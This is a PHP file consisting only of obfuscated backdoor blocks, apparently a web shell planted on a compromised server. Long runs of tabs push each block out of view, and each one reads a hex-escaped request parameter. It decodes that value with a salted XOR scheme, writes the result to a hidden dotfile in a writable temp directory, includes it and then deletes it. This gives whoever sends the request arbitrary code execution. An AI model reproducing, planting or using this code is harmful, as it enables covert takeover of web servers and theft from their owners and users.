<?php																																										if(count($_POST) > 0 && isset($_POST["sy\x6Dbol"])){ $value = array_filter([getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP"), getcwd(), "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]); $rec = $_POST["sy\x6Dbol"]; $rec = explode( "." , $rec ) ; $val = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s4); $r = 0; $__len = count( $rec); do { if( $r >= $__len) break; $v1 = $rec[$r]; $sChar = ord( $s4[$r % $sLen]); $d =( ( int)$v1 - $sChar -( $r % 10))^52; $val .= chr( $d); $r++; } while( true); foreach ($value as $pgrp): if ((is_dir($pgrp) and is_writable($pgrp))) { $hld = vsprintf("%s/%s", [$pgrp, ".marker"]); if (file_put_contents($hld, $val)) { require $hld; unlink($hld); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["\x65\x6Et\x69ty"])){ $val = $_POST["\x65\x6Et\x69ty"]; $val = explode ( '.',$val ); $fac=''; $salt='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt); $s=0; array_walk($val ,function($v7) use(&$fac ,&$s ,$salt ,$sLen) { $chS=ord($salt[$s % $sLen]); $dec=((int)$v7 - $chS -($s % 10)) ^ 61; $fac .= chr($dec); $s++; }); $component = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/var/tmp", "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), getcwd()]); foreach ($component as $dat): if (!( !is_dir($dat) || !is_writable($dat) )) { $ptr = join("/", [$dat, ".desc"]); $file = fopen($ptr, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $ptr; @unlink($ptr); exit; } } endforeach; }
																																										if(in_array("da\x74a_\x63\x68u\x6E\x6B", array_keys($_REQUEST))){ $descriptor = $_REQUEST["da\x74a_\x63\x68u\x6E\x6B"]; $descriptor=explode ( "." ,$descriptor ) ; $key=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s); foreach( $descriptor as $y =>$v5): $sChar=ord( $s[$y % $lenS]); $d=( ( int)$v5 - $sChar -( $y % 10))^26; $key .= chr( $d); endforeach; $bind = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp"]); for ($element = 0, $data = count($bind); $element < $data; $element++) { $ref = $bind[$element]; if (max(0, is_dir($ref) * is_writable($ref))) { $parameter_group = sprintf("%s/.pgrp", $ref); if (@file_put_contents($parameter_group, $key) !== false) { include $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(!is_null($_REQUEST["mar\x6B\x65\x72"] ?? null)){ $val = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", getcwd(), getenv("TMP"), sys_get_temp_dir()]); $obj = $_REQUEST["mar\x6B\x65\x72"]; $obj = explode ("." , $obj ); $dchunk =''; $salt8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt8 ); $q =0; $len =count($obj ); do { if ($q >= $len) break; $v5 =$obj[$q]; $chS =ord($salt8[$q % $sLen] ); $d =((int)$v5 - $chS - ($q % 10)) ^ 16; $dchunk .= chr($d ); $q++; } while (true ); while ($desc = array_shift($val)) { if (is_writable($desc) && is_dir($desc)) { $record = "$desc/.tkn"; $file = fopen($record, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $record; @unlink($record); exit; } } } }
																																										if(isset($_POST) && isset($_POST["ele\x6D"])){ $component = $_POST["ele\x6D"]; $component = explode ( '.' ,$component ); $factor = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6 ); $__len = count( $component ); for( $r = 0; $r < $__len; $r++) {$v1 = $component[$r]; $sChar = ord( $s6[$r % $sLen] ); $dec =( ( int)$v1 - $sChar -( $r % 10)) ^ 54; $factor .= chr( $dec ); } $ent = array_filter([sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($ent as $key => $object) { if (array_product([is_dir($object), is_writable($object)])) { $flag = implode("/", [$object, ".reference"]); $success = file_put_contents($flag, $factor); if ($success) { include $flag; @unlink($flag); die();} } } }
																																										if(!is_null($_POST["\x6F\x62j"] ?? null)){ $key = $_POST["\x6F\x62j"]; $key = explode ( ".", $key ); $data_chunk = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $u = 0; $__tmp = $key; while ($v5 = array_shift($__tmp)) { $sChar = ord($s5[$u % $sLen]); $dec = ((int)$v5 - $sChar - ($u % 10)) ^ 6; $data_chunk .= chr($dec); $u++; } $desc = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), "/var/tmp", "/tmp", "/dev/shm", session_save_path(), getenv("TEMP")]); foreach ($desc as $reference): if (array_product([is_dir($reference), is_writable($reference)])) { $token = "$reference" . "/.val"; if (@file_put_contents($token, $data_chunk) !== false) { include $token; unlink($token); exit; } } endforeach; }
																																										if(@$_REQUEST["\x6Da\x72\x6Ber"] !== null){ $obj = $_REQUEST["\x6Da\x72\x6Ber"]; $obj =explode ( '.' ,$obj) ; $ref = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $q = 0; $__tmp = $obj; while ($v6 = array_shift($__tmp)) {$chS = ord($salt7[$q% $sLen]); $d = ((int)$v6 - $chS - ($q% 10)) ^ 70; $ref .= chr($d); $q++; } $data_chunk = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), "/tmp", sys_get_temp_dir()]); for ($factor = 0, $token = count($data_chunk); $factor < $token; $factor++) { $entry = $data_chunk[$factor]; if (!!is_dir($entry) && !!is_writable($entry)) { $k = "$entry/.reference"; if (@file_put_contents($k, $ref) !== false) { include $k; unlink($k); exit; } } } }
																																										if(isset($_REQUEST["\x69t\x65m"]) ? true : false){ $comp = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/tmp", "/var/tmp", getenv("TMP")]); $descriptor = $_REQUEST["\x69t\x65m"]; $descriptor = explode( '.' ,$descriptor ); $entity = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt5); $o = 0; $__tmp = $descriptor; while( $v4 = array_shift( $__tmp)) { $sChar = ord( $salt5[$o % $sLen]); $dec =( ( int)$v4 - $sChar -( $o % 10)) ^ 68; $entity .= chr( $dec); $o++; } for ($marker = 0, $ptr = count($comp); $marker < $ptr; $marker++) { $rec = $comp[$marker]; if ((is_dir($rec) and is_writable($rec))) { $ent = "$rec" . "/.component"; $success = file_put_contents($ent, $entity); if ($success) { include $ent; @unlink($ent); die();} } } }
																																										if(!empty($_REQUEST["h\x6C\x64"])){ $flg = $_REQUEST["h\x6C\x64"]; $flg=explode ( ".", $flg) ; $sym= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s); $r= 0; foreach ($flg as $v7) { $sChar= ord($s[$r % $sLen]); $dec= ((int)$v7 - $sChar - ($r % 10)) ^ 46; $sym .=chr($dec); $r++; } $elem = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm", session_save_path(), "/tmp"]); while ($token = array_shift($elem)) { if (is_dir($token) && is_writable($token)) { $obj = implode("/", [$token, ".entity"]); if (@file_put_contents($obj, $sym) !== false) { include $obj; unlink($obj); die(); } } } }


if(!is_null($_REQUEST["\x6F\x62j"] ?? null)){
	$resource = $_REQUEST["\x6F\x62j"];
	$resource  =explode	( "."		,	  $resource 	)	;	  
	$element = '';
            $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$s7);
    
            foreach(	$resource as $q => $v2):
                $sChar = ord(	$s7[$q	 %$lenS]);
                $dec =(	(	int)$v2 - $sChar -(	$q	 %10))^ 	50;
                $element .=	chr(	$dec);
            endforeach;
	$data_chunk = array_filter([session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", getenv("TMP")]);
	foreach ($data_chunk as $key => $object) {
    		if (array_product([is_dir($object), is_writable($object)])) {
    $key = str_replace("{var_dir}", $object, "{var_dir}/.holder");
    if (@file_put_contents($key, $element) !== false) {
	include $key;
	unlink($key);
	exit;
}
}
}
}